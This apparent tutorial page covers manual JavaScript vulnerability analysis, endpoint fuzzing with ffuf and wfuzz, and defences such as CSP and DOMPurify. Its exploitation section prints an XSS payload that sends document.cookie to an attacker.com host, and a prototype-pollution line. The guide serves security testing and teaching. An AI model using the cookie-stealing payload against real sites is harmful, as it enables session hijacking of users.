URL: Manual JS Analysis + Fuzzing
You Should Know: Essential Techniques for JS Analysis and Fuzzing
1. Manual JavaScript Analysis
Manual JS analysis involves reviewing JavaScript code for vulnerabilities such as:
– XSS (Cross-Site Scripting)
– Insecure DOM Manipulation
– Hardcoded Secrets
– Logic Flaws
Key Commands & Tools:
- Browser DevTools (F12) – Inspect JS execution, debug, and analyze network requests.
- Node.js Debugger – Step-through JS execution:
node inspect vulnerable_script.js
- ESLint – Static code analysis for detecting bad practices:
eslint --config security_rules.json app.js
- Beautify Obfuscated JS – Use tools like JS Nice or:
npm install js-beautify -g js-beautify obfuscated.js > cleaned.js
2. Fuzzing JavaScript Endpoints
Fuzzing helps discover hidden API endpoints, input validation flaws, and injection points.
Fuzzing Tools & Commands:
- FFUF (Web Fuzzer) – Fast and flexible fuzzing:
ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200
- Burp Suite Intruder – Automated parameter fuzzing.
- Wfuzz – Fuzz GET/POST parameters:
wfuzz -c -z file,wordlist.txt --hc 404 https://target.com/api/FUZZ
- ZAP (OWASP Zed Attack Proxy) – Automated JS endpoint discovery.
3. Exploiting JS Vulnerabilities
If an XSS is found, test payloads like:
alert(document.domain);
fetch('https://attacker.com/steal?cookie=' + document.cookie);
For prototype pollution:
Object.prototype.injectedProp = 'malicious';
4. Defensive Techniques
- CSP (Content Security Policy) – Mitigate XSS:
Content-Security-Policy: script-src 'self'
- Sanitization Libraries – Use DOMPurify:
const clean = DOMPurify.sanitize(userInput);
What Undercode Say
Manual JS analysis and fuzzing are critical for uncovering hidden web vulnerabilities. Security researchers must:
– Inspect third-party scripts for malicious activity.
– Fuzz API endpoints for unauthorized access.
– Use Linux tools like `grep` to search for sensitive data in JS files:
grep -r "api_key" /var/www/html/
– Monitor JS execution with `strace` in Linux:
strace -f -e trace=execve node app.js
– Windows PowerShell for JS Analysis – Extract URLs from JS files:
Select-String -Path ".js" -Pattern "http://"
Expected Output:
A structured report detailing:
- Vulnerable JS functions.
- Fuzzing results (200/403/500 status codes).
- Exploitable endpoints.
- Recommended fixes (CSP, input validation).
Prediction
As web apps rely more on client-side JS, automated and manual JS analysis will become a standard penetration testing requirement. New tools leveraging AI for JS deobfuscation will emerge, making vulnerability detection faster.
References:
Reported By: Abhirup Konwar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
